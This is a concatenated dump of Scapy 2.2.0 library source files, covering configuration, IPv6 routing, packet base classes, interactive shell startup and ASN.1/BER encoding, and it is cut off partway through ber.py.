ct = val if isinstance(ct, AnsiColorTheme) and ct.prompt(""): ## ^A and ^B delimit invisible caracters for readline to count right. ## And we need ct.prompt() to do change something or else ^A and ^B will be ## displayed prompt = "\001%s\002" % ct.prompt("\002"+prompt+"\001") else: prompt = ct.prompt(prompt) except: pass sys.ps1 = prompt class Conf(ConfClass): """This object contains the configuration of scapy. session : filename where the session will be saved interactive_shell : If set to "ipython", use IPython as shell. Default: Python stealth : if 1, prevents any unwanted packet to go out (ARP, DNS, ...) checkIPID: if 0, doesn't check that IPID matches between IP sent and ICMP IP citation received if 1, checks that they either are equal or byte swapped equals (bug in some IP stacks) if 2, strictly checks that they are equals checkIPsrc: if 1, checks IP src in IP and ICMP IP citation match (bug in some NAT stacks) check_TCPerror_seqack: if 1, also check that TCP seq and ack match the ones in ICMP citation iff : selects the default output interface for srp() and sendp(). default:"eth0") verb : level of verbosity, from 0 (almost mute) to 3 (verbose) promisc : default mode for listening socket (to get answers if you spoof on a lan) sniff_promisc : default mode for sniff() filter : bpf filter added to every sniffing socket to exclude traffic from analysis histfile : history file padding : includes padding in desassembled packets except_filter : BPF filter for packets to ignore debug_match : when 1, store received packet that are not matched into debug.recv route : holds the Scapy routing table and provides methods to manipulate it warning_threshold : how much time between warnings from the same place ASN1_default_codec: Codec used by default for ASN1 objects mib : holds MIB direct access dictionnary resolve : holds list of fields for which resolution should be done noenum : holds list of enum fields for which conversion to string should NOT be done AS_resolver: choose the AS resolver class to use extensions_paths: path or list of paths where extensions are to be looked for """ version = "2.2.0" session = "" interactive = False interactive_shell = "" stealth = "not implemented" iface = None readfunc = None layers = LayersList() commands = CommandsList() logLevel = LogLevel() checkIPID = 0 checkIPsrc = 1 checkIPaddr = 1 check_TCPerror_seqack = 0 verb = 2 prompt = ">>> " promisc = 1 sniff_promisc = 1 raw_layer = None raw_summary = False default_l2 = None l2types = Num2Layer() l3types = Num2Layer() L3socket = None L2socket = None L2listen = None histfile = os.path.join(os.path.expanduser("~"), ".scapy_history") padding = 1 except_filter = "" debug_match = 0 wepkey = "" route = None # Filed by route.py route6 = None # Filed by route6.py auto_fragment = 1 debug_dissector = 0 color_theme = Interceptor("color_theme", themes.NoTheme(), _prompt_changer) warning_threshold = 5 prog = ProgPath() resolve = Resolve() noenum = Resolve() emph = Emphasize() use_pcap = False use_dnet = False ipv6_enabled = socket.has_ipv6 ethertypes = ETHER_TYPES protocols = IP_PROTOS services_tcp = TCP_SERVICES services_udp = UDP_SERVICES extensions_paths = "." manufdb = MANUFDB stats_classic_protocols = [] stats_dot11_protocols = [] temp_files = [] netcache = NetCache() load_layers = ["l2", "inet", "dhcp", "dns", "dot11", "gprs", "hsrp", "inet6", "ir", "isakmp", "l2tp", "mgcp", "mobileip", "netbios", "netflow", "ntp", "ppp", "radius", "rip", "rtp", "sebek", "skinny", "smb", "snmp", "tftp", "x509", "bluetooth", "dhcp6", "llmnr", "sctp", "vrrp" ] if not Conf.ipv6_enabled: log_scapy.warning("IPv6 support disabled in Python. Cannot load scapy IPv6 layers.") for m in ["inet6","dhcp6"]: if m in Conf.load_layers: Conf.load_layers.remove(m) conf=Conf() conf.logLevel=30 # 30=Warning scapy-2.2.0/scapy/route6.py0000644000175000017500000002317111430356077013667 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ## Copyright (C) 2005 Guillaume Valadon ## Arnaud Ebalard """ Routing and network interface handling for IPv6. """ ############################################################################# ############################################################################# ### Routing/Interfaces stuff ### ############################################################################# ############################################################################# import socket from config import conf from utils6 import * from arch import * class Route6: def __init__(self): self.invalidate_cache() self.resync() def invalidate_cache(self): self.cache = {} def flush(self): self.invalidate_cache() self.routes = [] def resync(self): # TODO : At the moment, resync will drop existing Teredo routes # if any. Change that ... self.invalidate_cache() self.routes = read_routes6() if self.routes == []: log_loading.info("No IPv6 support in kernel") def __repr__(self): rtlst = [('Destination', 'Next Hop', "iface", "src candidates")] for net,msk,gw,iface,cset in self.routes: rtlst.append(('%s/%i'% (net,msk), gw, iface, ", ".join(cset))) colwidth = map(lambda x: max(map(lambda y: len(y), x)), apply(zip, rtlst)) fmt = " ".join(map(lambda x: "%%-%ds"%x, colwidth)) rt = "\n".join(map(lambda x: fmt % x, rtlst)) return rt # Unlike Scapy's Route.make_route() function, we do not have 'host' and 'net' # parameters. We only have a 'dst' parameter that accepts 'prefix' and # 'prefix/prefixlen' values. # WARNING: Providing a specific device will at the moment not work correctly. def make_route(self, dst, gw=None, dev=None): """Internal function : create a route for 'dst' via 'gw'. """ prefix, plen = (dst.split("/")+["128"])[:2] plen = int(plen) if gw is None: gw = "::" if dev is None: dev, ifaddr, x = self.route(gw) else: # TODO: do better than that # replace that unique address by the list of all addresses lifaddr = in6_getifaddr() devaddrs = filter(lambda x: x[2] == dev, lifaddr) ifaddr = construct_source_candidate_set(prefix, plen, devaddrs, LOOPBACK_NAME) return (prefix, plen, gw, dev, ifaddr) def add(self, *args, **kargs): """Ex: add(dst="2001:db8:cafe:f000::/56") add(dst="2001:db8:cafe:f000::/56", gw="2001:db8:cafe::1") add(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1", dev="eth0") """ self.invalidate_cache() self.routes.append(self.make_route(*args, **kargs)) def delt(self, dst, gw=None): """ Ex: delt(dst="::/0") delt(dst="2001:db8:cafe:f000::/56") delt(dst="2001:db8:cafe:f000::/56", gw="2001:db8:deca::1") """ tmp = dst+"/128" dst, plen = tmp.split('/')[:2] dst = in6_ptop(dst) plen = int(plen) l = filter(lambda x: in6_ptop(x[0]) == dst and x[1] == plen, self.routes) if gw: gw = in6_ptop(gw) l = filter(lambda x: in6_ptop(x[0]) == gw, self.routes) if len(l) == 0: warning("No matching route found") elif len(l) > 1: warning("Found more than one match. Aborting.") else: i=self.routes.index(l[0]) self.invalidate_cache() del(self.routes[i]) def ifchange(self, iff, addr): the_addr, the_plen = (addr.split("/")+["128"])[:2] the_plen = int(the_plen) naddr = inet_pton(socket.AF_INET6, the_addr) nmask = in6_cidr2mask(the_plen) the_net = inet_ntop(socket.AF_INET6, in6_and(nmask,naddr)) for i in range(len(self.routes)): net,plen,gw,iface,addr = self.routes[i] if iface != iff: continue if gw == '::': self.routes[i] = (the_net,the_plen,gw,iface,the_addr) else: self.routes[i] = (net,the_plen,gw,iface,the_addr) self.invalidate_cache() ip6_neigh_cache.flush() def ifdel(self, iff): """ removes all route entries that uses 'iff' interface. """ new_routes=[] for rt in self.routes: if rt[3] != iff: new_routes.append(rt) self.invalidate_cache() self.routes = new_routes def ifadd(self, iff, addr): """ Add an interface 'iff' with provided address into routing table. Ex: ifadd('eth0', '2001:bd8:cafe:1::1/64') will add following entry into Scapy6 internal routing table: Destination Next Hop iface Def src @ 2001:bd8:cafe:1::/64 :: eth0 2001:bd8:cafe:1::1 prefix length value can be omitted. In that case, a value of 128 will be used. """ addr, plen = (addr.split("/")+["128"])[:2] addr = in6_ptop(addr) plen = int(plen) naddr = inet_pton(socket.AF_INET6, addr) nmask = in6_cidr2mask(plen) prefix = inet_ntop(socket.AF_INET6, in6_and(nmask,naddr)) self.invalidate_cache() self.routes.append((prefix,plen,'::',iff,[addr])) def route(self, dst, dev=None): """ Provide best route to IPv6 destination address, based on Scapy6 internal routing table content. When a set of address is passed (e.g. 2001:db8:cafe:*::1-5) an address of the set is used. Be aware of that behavior when using wildcards in upper parts of addresses ! If 'dst' parameter is a FQDN, name resolution is performed and result is used. if optional 'dev' parameter is provided a specific interface, filtering is performed to limit search to route associated to that interface. """ # Transform "2001:db8:cafe:*::1-5:0/120" to one IPv6 address of the set dst = dst.split("/")[0] savedst = dst # In case following inet_pton() fails dst = dst.replace("*","0") l = dst.find("-") while l >= 0: m = (dst[l:]+":").find(":") dst = dst[:l]+dst[l+m:] l = dst.find("-") try: inet_pton(socket.AF_INET6, dst) except socket.error: dst = socket.getaddrinfo(savedst, None, socket.AF_INET6)[0][-1][0] # TODO : Check if name resolution went well # Deal with dev-specific request for cache search k = dst if dev is not None: k = dst + "%%" + dev if k in self.cache: return self.cache[k] pathes = [] # TODO : review all kinds of addresses (scope and *cast) to see # if we are able to cope with everything possible. I'm convinced # it's not the case. # -- arnaud for p, plen, gw, iface, cset in self.routes: if dev is not None and iface != dev: continue if in6_isincluded(dst, p, plen): pathes.append((plen, (iface, cset, gw))) elif (in6_ismlladdr(dst) and in6_islladdr(p) and in6_islladdr(cset[0])): pathes.append((plen, (iface, cset, gw))) if not pathes: warning("No route found for IPv6 destination %s (no default route?)" % dst) return (LOOPBACK_NAME, "::", "::") # XXX Linux specific # Sort with longest prefix first pathes.sort(reverse=True) best_plen = pathes[0][0] pathes = filter(lambda x: x[0] == best_plen, pathes) res = [] for p in pathes: # Here we select best source address for every route tmp = p[1] srcaddr = get_source_addr_from_candidate_set(dst, p[1][1]) if srcaddr is not None: res.append((p[0], (tmp[0], srcaddr, tmp[2]))) # Symptom : 2 routes with same weight (our weight is plen) # Solution : # - dst is unicast global. Check if it is 6to4 and we have a source # 6to4 address in those available # - dst is link local (unicast or multicast) and multiple output # interfaces are available. Take main one (conf.iface6) # - if none of the previous or ambiguity persists, be lazy and keep # first one # XXX TODO : in a _near_ future, include metric in the game if len(res) > 1: tmp = [] if in6_isgladdr(dst) and in6_isaddr6to4(dst): # TODO : see if taking the longest match between dst and # every source addresses would provide better results tmp = filter(lambda x: in6_isaddr6to4(x[1][1]), res) elif in6_ismaddr(dst) or in6_islladdr(dst): # TODO : I'm sure we are not covering all addresses. Check that tmp = filter(lambda x: x[1][0] == conf.iface6, res) if tmp: res = tmp # Fill the cache (including dev-specific request) k = dst if dev is not None: k = dst + "%%" + dev self.cache[k] = res[0][1] return res[0][1] conf.route6 = Route6() _res = conf.route6.route("::/0") if _res: iff, gw, addr = _res conf.iface6 = iff del(_res) scapy-2.2.0/scapy/__init__.py0000644000175000017500000000071211430356061014167 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Scapy: create, send, sniff, dissect and manipulate network packets. Usable either from an interactive console or as a Python library. http://www.secdev.org/projects/scapy """ if __name__ == "__main__": from scapy.main import interact interact() scapy-2.2.0/scapy/base_classes.py0000644000175000017500000001643111430356070015064 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Generators and packet meta classes. """ ############### ## Generators ## ################ import re,random,socket import config import error class Gen(object): def __iter__(self): return iter([]) class SetGen(Gen): def __init__(self, set, _iterpacket=1): self._iterpacket=_iterpacket if type(set) is list: self.set = set elif isinstance(set, BasePacketList): self.set = list(set) else: self.set = [set] def transf(self, element): return element def __iter__(self): for i in self.set: if (type(i) is tuple) and (len(i) == 2) and type(i[0]) is int and type(i[1]) is int: if (i[0] <= i[1]): j=i[0] while j <= i[1]: yield j j += 1 elif isinstance(i, Gen) and (self._iterpacket or not isinstance(i,BasePacket)): for j in i: yield j else: yield i def __repr__(self): return "" % self.set.__repr__() class Net(Gen): """Generate a list of IPs from a network address or a name""" name = "ip" ipaddress = re.compile(r"^(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)\.(\*|[0-2]?[0-9]?[0-9](-[0-2]?[0-9]?[0-9])?)(/[0-3]?[0-9])?$") @staticmethod def _parse_digit(a,netmask): netmask = min(8,max(netmask,0)) if a == "*": a = (0,256) elif a.find("-") >= 0: x,y = map(int,a.split("-")) if x > y: y = x a = (x & (0xffL<>(8-netmask))))+1) else: a = (int(a) & (0xffL<>(8-netmask)))+1) return a @classmethod def _parse_net(cls, net): tmp=net.split('/')+["32"] if not cls.ipaddress.match(net): tmp[0]=socket.gethostbyname(tmp[0]) netmask = int(tmp[1]) return map(lambda x,y: cls._parse_digit(x,y), tmp[0].split("."), map(lambda x,nm=netmask: x-nm, (8,16,24,32))),netmask def __init__(self, net): self.repr=net self.parsed,self.netmask = self._parse_net(net) def __iter__(self): for d in xrange(*self.parsed[3]): for c in xrange(*self.parsed[2]): for b in xrange(*self.parsed[1]): for a in xrange(*self.parsed[0]): yield "%i.%i.%i.%i" % (a,b,c,d) def choice(self): ip = [] for v in self.parsed: ip.append(str(random.randint(v[0],v[1]-1))) return ".".join(ip) def __repr__(self): return "Net(%r)" % self.repr def __eq__(self, other): if hasattr(other, "parsed"): p2 = other.parsed else: p2,nm2 = self._parse_net(other) return self.parsed == p2 def __contains__(self, other): if hasattr(other, "parsed"): p2 = other.parsed else: p2,nm2 = self._parse_net(other) for (a1,b1),(a2,b2) in zip(self.parsed,p2): if a1 > a2 or b1 < b2: return False return True def __rcontains__(self, other): return self in self.__class__(other) class OID(Gen): name = "OID" def __init__(self, oid): self.oid = oid self.cmpt = [] fmt = [] for i in oid.split("."): if "-" in i: fmt.append("%i") self.cmpt.append(tuple(map(int, i.split("-")))) else: fmt.append(i) self.fmt = ".".join(fmt) def __repr__(self): return "OID(%r)" % self.oid def __iter__(self): ii = [k[0] for k in self.cmpt] while 1: yield self.fmt % tuple(ii) i = 0 while 1: if i >= len(ii): raise StopIteration if ii[i] < self.cmpt[i][1]: ii[i]+=1 break else: ii[i] = self.cmpt[i][0] i += 1 ###################################### ## Packet abstract and base classes ## ###################################### class Packet_metaclass(type): def __new__(cls, name, bases, dct): if "fields_desc" in dct: # perform resolution of references to other packets current_fld = dct["fields_desc"] resolved_fld = [] for f in current_fld: if isinstance(f, Packet_metaclass): # reference to another fields_desc for f2 in f.fields_desc: resolved_fld.append(f2) else: resolved_fld.append(f) else: # look for a field_desc in parent classes resolved_fld = None for b in bases: if hasattr(b,"fields_desc"): resolved_fld = b.fields_desc break if resolved_fld: # perform default value replacements final_fld = [] for f in resolved_fld: if f.name in dct: f = f.copy() f.default = dct[f.name] del(dct[f.name]) final_fld.append(f) dct["fields_desc"] = final_fld newcls = super(Packet_metaclass, cls).__new__(cls, name, bases, dct) if hasattr(newcls,"register_variant"): newcls.register_variant() for f in newcls.fields_desc: f.register_owner(newcls) config.conf.layers.register(newcls) return newcls def __getattr__(self, attr): for k in self.fields_desc: if k.name == attr: return k raise AttributeError(attr) def __call__(cls, *args, **kargs): if "dispatch_hook" in cls.__dict__: cls = cls.dispatch_hook(*args, **kargs) i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__) i.__init__(*args, **kargs) return i class NewDefaultValues(Packet_metaclass): """NewDefaultValues is deprecated (not needed anymore) remove this: __metaclass__ = NewDefaultValues and it should still work. """ def __new__(cls, name, bases, dct): from error import log_loading import traceback try: for tb in traceback.extract_stack()+[("??",-1,None,"")]: f,l,_,line = tb if line.startswith("class"): break except: f,l="??",-1 raise log_loading.warning("Deprecated (no more needed) use of NewDefaultValues (%s l. %i)." % (f,l)) return super(NewDefaultValues, cls).__new__(cls, name, bases, dct) class BasePacket(Gen): pass ############################# ## Packet list base classe ## ############################# class BasePacketList: pass scapy-2.2.0/scapy/asn1packet.py0000644000175000017500000000123311430356066014466 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Packet holding data in Abstract Syntax Notation (ASN.1). """ from packet import * class ASN1_Packet(Packet): ASN1_root = None ASN1_codec = None def init_fields(self): flist = self.ASN1_root.get_fields_list() self.do_init_fields(flist) self.fields_desc = flist def self_build(self): return self.ASN1_root.build(self) def do_dissect(self, x): return self.ASN1_root.dissect(self, x) scapy-2.2.0/scapy/main.py0000644000175000017500000002504311532565453013372 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Main module for interactive startup. """ from __future__ import generators import os,sys import glob import __builtin__ from error import * import utils def _probe_config_file(cf): cf_path = os.path.join(os.path.expanduser("~"), cf) try: os.stat(cf_path) except OSError: return None else: return cf_path def _read_config_file(cf): log_loading.debug("Loading config file [%s]" % cf) try: execfile(cf) except IOError,e: log_loading.warning("Cannot read config file [%s] [%s]" % (cf,e)) except Exception,e: log_loading.exception("Error during evaluation of config file [%s]" % cf) DEFAULT_PRESTART_FILE = _probe_config_file(".scapy_prestart.py") DEFAULT_STARTUP_FILE = _probe_config_file(".scapy_startup.py") def _usage(): print """Usage: scapy.py [-s sessionfile] [-c new_startup_file] [-p new_prestart_file] [-C] [-P] -C: do not read startup file -P: do not read pre-startup file""" sys.exit(0) from config import conf from themes import DefaultTheme ###################### ## Extension system ## ###################### def _load(module): try: mod = __import__(module,globals(),locals(),".") __builtin__.__dict__.update(mod.__dict__) except Exception,e: log_interactive.error(e) def load_module(name): _load("scapy.modules."+name) def load_layer(name): _load("scapy.layers."+name) def load_contrib(name): _load("scapy.contrib."+name) def list_contrib(name=None): if name is None: name="*.py" elif "*" not in name and "?" not in name and not name.endswith(".py"): name += ".py" name = os.path.join(os.path.dirname(__file__), "contrib", name) for f in glob.glob(name): mod = os.path.basename(f) if mod.startswith("__"): continue if mod.endswith(".py"): mod = mod[:-3] desc = { "description":"-", "status":"?", "name":mod } for l in open(f): p = l.find("scapy.contrib.") if p >= 0: p += 14 q = l.find("=", p) key = l[p:q].strip() value = l[q+1:].strip() desc[key] = value print "%(name)-20s: %(description)-40s status=%(status)s" % desc ############################## ## Session saving/restoring ## ############################## def save_session(fname=None, session=None, pickleProto=-1): if fname is None: fname = conf.session if not fname: conf.session = fname = utils.get_temp_file(keep=True) log_interactive.info("Use [%s] as session file" % fname) if session is None: session = __builtin__.__dict__["scapy_session"] to_be_saved = session.copy() if to_be_saved.has_key("__builtins__"): del(to_be_saved["__builtins__"]) for k in to_be_saved.keys(): if type(to_be_saved[k]) in [types.TypeType, types.ClassType, types.ModuleType]: log_interactive.error("[%s] (%s) can't be saved." % (k, type(to_be_saved[k]))) del(to_be_saved[k]) try: os.rename(fname, fname+".bak") except OSError: pass f=gzip.open(fname,"wb") cPickle.dump(to_be_saved, f, pickleProto) f.close() def load_session(fname=None): if fname is None: fname = conf.session try: s = cPickle.load(gzip.open(fname,"rb")) except IOError: s = cPickle.load(open(fname,"rb")) scapy_session = __builtin__.__dict__["scapy_session"] scapy_session.clear() scapy_session.update(s) def update_session(fname=None): if fname is None: fname = conf.session try: s = cPickle.load(gzip.open(fname,"rb")) except IOError: s = cPickle.load(open(fname,"rb")) scapy_session = __builtin__.__dict__["scapy_session"] scapy_session.update(s) ################ ##### Main ##### ################ def scapy_delete_temp_files(): for f in conf.temp_files: try: os.unlink(f) except: pass def scapy_write_history_file(readline): if conf.histfile: try: readline.write_history_file(conf.histfile) except IOError,e: try: warning("Could not write history to [%s]\n\t (%s)" % (conf.histfile,e)) tmp = utils.get_temp_file(keep=True) readline.write_history_file(tmp) warning("Wrote history to [%s]" % tmp) except: warning("Cound not write history to [%s]. Discarded" % tmp) def interact(mydict=None,argv=None,mybanner=None,loglevel=20): global session import code,sys,cPickle,os,getopt,re from config import conf conf.interactive = True if loglevel is not None: conf.logLevel=loglevel the_banner = "Welcome to Scapy (%s)" if mybanner is not None: the_banner += "\n" the_banner += mybanner if argv is None: argv = sys.argv import atexit try: import rlcompleter,readline except ImportError: log_loading.info("Can't load Python libreadline or completer") READLINE=0 else: READLINE=1 class ScapyCompleter(rlcompleter.Completer): def global_matches(self, text): matches = [] n = len(text) for lst in [dir(__builtin__), session.keys()]: for word in lst: if word[:n] == text and word != "__builtins__": matches.append(word) return matches def attr_matches(self, text): m = re.match(r"(\w+(\.\w+)*)\.(\w*)", text) if not m: return expr, attr = m.group(1, 3) try: object = eval(expr) except: object = eval(expr, session) if isinstance(object, Packet) or isinstance(object, Packet_metaclass): words = filter(lambda x: x[0]!="_",dir(object)) words += [x.name for x in object.fields_desc] else: words = dir(object) if hasattr( object,"__class__" ): words = words + rlcompleter.get_class_members(object.__class__) matches = [] n = len(attr) for word in words: if word[:n] == attr and word != "__builtins__": matches.append("%s.%s" % (expr, word)) return matches readline.set_completer(ScapyCompleter().complete) readline.parse_and_bind("C-o: operate-and-get-next") readline.parse_and_bind("tab: complete") session=None session_name="" STARTUP_FILE = DEFAULT_STARTUP_FILE PRESTART_FILE = DEFAULT_PRESTART_FILE iface = None try: opts=getopt.getopt(argv[1:], "hs:Cc:Pp:d") for opt, parm in opts[0]: if opt == "-h": _usage() elif opt == "-s": session_name = parm elif opt == "-c": STARTUP_FILE = parm elif opt == "-C": STARTUP_FILE = None elif opt == "-p": PRESTART_FILE = parm elif opt == "-P": PRESTART_FILE = None elif opt == "-d": conf.logLevel = max(1,conf.logLevel-10) if len(opts[1]) > 0: raise getopt.GetoptError("Too many parameters : [%s]" % " ".join(opts[1])) except getopt.GetoptError, msg: log_loading.error(msg) sys.exit(1) if PRESTART_FILE: _read_config_file(PRESTART_FILE) scapy_builtins = __import__("all",globals(),locals(),".").__dict__ __builtin__.__dict__.update(scapy_builtins) globkeys = scapy_builtins.keys() globkeys.append("scapy_session") scapy_builtins=None # XXX replace with "with" statement if mydict is not None: __builtin__.__dict__.update(mydict) globkeys += mydict.keys() conf.color_theme = DefaultTheme() if STARTUP_FILE: _read_config_file(STARTUP_FILE) if session_name: try: os.stat(session_name) except OSError: log_loading.info("New session [%s]" % session_name) else: try: try: session = cPickle.load(gzip.open(session_name,"rb")) except IOError: session = cPickle.load(open(session_name,"rb")) log_loading.info("Using session [%s]" % session_name) except EOFError: log_loading.error("Error opening session [%s]" % session_name) except AttributeError: log_loading.error("Error opening session [%s]. Attribute missing" % session_name) if session: if "conf" in session: conf.configure(session["conf"]) session["conf"] = conf else: conf.session = session_name session={"conf":conf} else: session={"conf": conf} __builtin__.__dict__["scapy_session"] = session if READLINE: if conf.histfile: try: readline.read_history_file(conf.histfile) except IOError: pass atexit.register(scapy_write_history_file,readline) atexit.register(scapy_delete_temp_files) IPYTHON=False if conf.interactive_shell.lower() == "ipython": try: import IPython IPYTHON=True except ImportError, e: log_loading.warning("IPython not available. Using standard Python shell instead.") IPYTHON=False if IPYTHON: banner = the_banner % (conf.version) + " using IPython %s" % IPython.__version__ args = [''] # IPython command line args (will be seen as sys.argv) ipshell = IPython.Shell.IPShellEmbed(args, banner = banner) ipshell(local_ns=session) else: code.interact(banner = the_banner % (conf.version), local=session, readfunc=conf.readfunc) if conf.session: save_session(conf.session, session) for k in globkeys: try: del(__builtin__.__dict__[k]) except: pass if __name__ == "__main__": interact() scapy-2.2.0/scapy/asn1/0000755000175000017500000000000011532602317012721 5ustar pbipbiscapy-2.2.0/scapy/asn1/__init__.py0000644000175000017500000000060011430356064015030 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Package holding ASN.1 related modules. """ # We do not import mib.py because it is more bound to scapy and # less prone to be used in a standalone fashion __all__ = ["asn1","ber"] scapy-2.2.0/scapy/asn1/mib.py0000644000175000017500000001054111430356065014046 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Management Information Base (MIB) parsing """ import re from glob import glob from scapy.dadict import DADict,fixname from scapy.config import conf from scapy.utils import do_graph ################# ## MIB parsing ## ################# _mib_re_integer = re.compile("^[0-9]+$") _mib_re_both = re.compile("^([a-zA-Z_][a-zA-Z0-9_-]*)\(([0-9]+)\)$") _mib_re_oiddecl = re.compile("$\s*([a-zA-Z0-9_-]+)\s+OBJECT([^:\{\}]|\{[^:]+\})+::=\s*\{([^\}]+)\}",re.M) _mib_re_strings = re.compile('"[^"]*"') _mib_re_comments = re.compile('--.*(\r|\n)') class MIBDict(DADict): def _findroot(self, x): if x.startswith("."): x = x[1:] if not x.endswith("."): x += "." max=0 root="." for k in self.keys(): if x.startswith(self[k]+"."): if max < len(self[k]): max = len(self[k]) root = k return root, x[max:-1] def _oidname(self, x): root,remainder = self._findroot(x) return root+remainder def _oid(self, x): xl = x.strip(".").split(".") p = len(xl)-1 while p >= 0 and _mib_re_integer.match(xl[p]): p -= 1 if p != 0 or xl[p] not in self: return x xl[p] = self[xl[p]] return ".".join(xl[p:]) def _make_graph(self, other_keys=[], **kargs): nodes = [(k,self[k]) for k in self.keys()] oids = [self[k] for k in self.keys()] for k in other_keys: if k not in oids: nodes.append(self.oidname(k),k) s = 'digraph "mib" {\n\trankdir=LR;\n\n' for k,o in nodes: s += '\t"%s" [ label="%s" ];\n' % (o,k) s += "\n" for k,o in nodes: parent,remainder = self._findroot(o[:-1]) remainder = remainder[1:]+o[-1] if parent != ".": parent = self[parent] s += '\t"%s" -> "%s" [label="%s"];\n' % (parent, o,remainder) s += "}\n" do_graph(s, **kargs) def __len__(self): return len(self.keys()) def mib_register(ident, value, the_mib, unresolved): if ident in the_mib or ident in unresolved: return ident in the_mib resval = [] not_resolved = 0 for v in value: if _mib_re_integer.match(v): resval.append(v) else: v = fixname(v) if v not in the_mib: not_resolved = 1 if v in the_mib: v = the_mib[v] elif v in unresolved: v = unresolved[v] if type(v) is list: resval += v else: resval.append(v) if not_resolved: unresolved[ident] = resval return False else: the_mib[ident] = resval keys = unresolved.keys() i = 0 while i < len(keys): k = keys[i] if mib_register(k,unresolved[k], the_mib, {}): del(unresolved[k]) del(keys[i]) i = 0 else: i += 1 return True def load_mib(filenames): the_mib = {'iso': ['1']} unresolved = {} for k in conf.mib.keys(): mib_register(k, conf.mib[k].split("."), the_mib, unresolved) if type(filenames) is str: filenames = [filenames] for fnames in filenames: for fname in glob(fnames): f = open(fname) text = f.read() cleantext = " ".join(_mib_re_strings.split(" ".join(_mib_re_comments.split(text)))) for m in _mib_re_oiddecl.finditer(cleantext): gr = m.groups() ident,oid = gr[0],gr[-1] ident=fixname(ident) oid = oid.split() for i in range(len(oid)): m = _mib_re_both.match(oid[i]) if m: oid[i] = m.groups()[1] mib_register(ident, oid, the_mib, unresolved) newmib = MIBDict(_name="MIB") for k,o in the_mib.iteritems(): newmib[k]=".".join(o) for k,o in unresolved.iteritems(): newmib[k]=".".join(o) conf.mib=newmib conf.mib = MIBDict(_name="MIB") scapy-2.2.0/scapy/asn1/ber.py0000644000175000017500000002564511430356065014062 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Basic Encoding Rules (BER) for ASN.1 """ from scapy.error import warning from scapy.utils import inet_aton,inet_ntoa from asn1 import ASN1_Decoding_Error,ASN1_Encoding_Error,ASN1_BadTag_Decoding_Error,ASN1_Codecs,ASN1_Class_UNIVERSAL,ASN1_Error,ASN1_DECODING_ERROR,ASN1_BADTAG ################## ## BER encoding ## ################## #####[ BER tools ]##### class BER_Exception(Exception): pass class BER_Encoding_Error(ASN1_Encoding_Error): def __init__(self, msg, encoded=None, remaining=None): Exception.__init__(self, msg) self.remaining = remaining self.encoded = encoded def __str__(self): s = Exception.__str__(self) if isinstance(self.encoded, BERcodec_Object): s+="\n### Already encoded ###\n%s" % self.encoded.strshow() else: s+="\n### Already encoded ###\n%r" % self.encoded s+="\n### Remaining ###\n%r" % self.remaining return s class BER_Decoding_Error(ASN1_Decoding_Error): def __init__(self, msg, decoded=None, remaining=None): Exception.__init__(self, msg) self.remaining = remaining self.decoded = decoded def __str__(self): s = Exception.__str__(self) if isinstance(self.decoded, BERcodec_Object): s+="\n### Already decoded ###\n%s" % self.decoded.strshow() else: s+="\n### Already decoded ###\n%r" % self.decoded s+="\n### Remaining ###\n%r" % self.remaining return s class BER_BadTag_Decoding_Error(BER_Decoding_Error, ASN1_BadTag_Decoding_Error): pass def BER_len_enc(l, size=0): if l <= 127 and size==0: return chr(l) s = "" while l or size>0: s = chr(l&0xff)+s l >>= 8L size -= 1 if len(s) > 127: raise BER_Exception("BER_len_enc: Length too long (%i) to be encoded [%r]" % (len(s),s)) return chr(len(s)|0x80)+s def BER_len_dec(s): l = ord(s[0]) if not l & 0x80: return l,s[1:] l &= 0x7f if len(s) <= l: raise BER_Decoding_Error("BER_len_dec: Got %i bytes while expecting %i" % (len(s)-1, l),remaining=s) ll = 0L for c in s[1:l+1]: ll <<= 8L ll |= ord(c) return ll,s[l+1:] def BER_num_enc(l, size=1): x=[] while l or size>0: x.insert(0, l & 0x7f) if len(x) > 1: x[0] |= 0x80 l >>= 7 size -= 1 return "".join([chr(k) for k in x]) def BER_num_dec(s): x = 0 for i in range(len(s)): c = ord(s[i]) x <<= 7 x |= c&0x7f if not c&0x80: break if c&0x80: raise BER_Decoding_Error("BER_num_dec: unfinished number description", remaining=s) return x, s[i+1:] #####[ BER classes ]##### class BERcodec_metaclass(type): def __new__(cls, name, bases, dct): c = super(BERcodec_metaclass, cls).__new__(cls, name, bases, dct) try: c.tag.register(c.codec, c) except: warning("Error registering %r for %r" % (c.tag, c.codec)) return c class BERcodec_Object: __metaclass__ = BERcodec_metaclass codec = ASN1_Codecs.BER tag = ASN1_Class_UNIVERSAL.ANY @classmethod def asn1_object(cls, val): return cls.tag.asn1_object(val) @classmethod def check_string(cls, s): if not s: raise BER_Decoding_Error("%s: Got empty object while expecting tag %r" % (cls.__name__,cls.tag), remaining=s) @classmethod def check_type(cls, s): cls.check_string(s) if cls.tag != ord(s[0]): raise BER_BadTag_Decoding_Error("%s: Got tag [%i/%#x] while expecting %r" % (cls.__name__, ord(s[0]), ord(s[0]),cls.tag), remaining=s) return s[1:] @classmethod def check_type_get_len(cls, s): s2 = cls.check_type(s) if not s2: raise 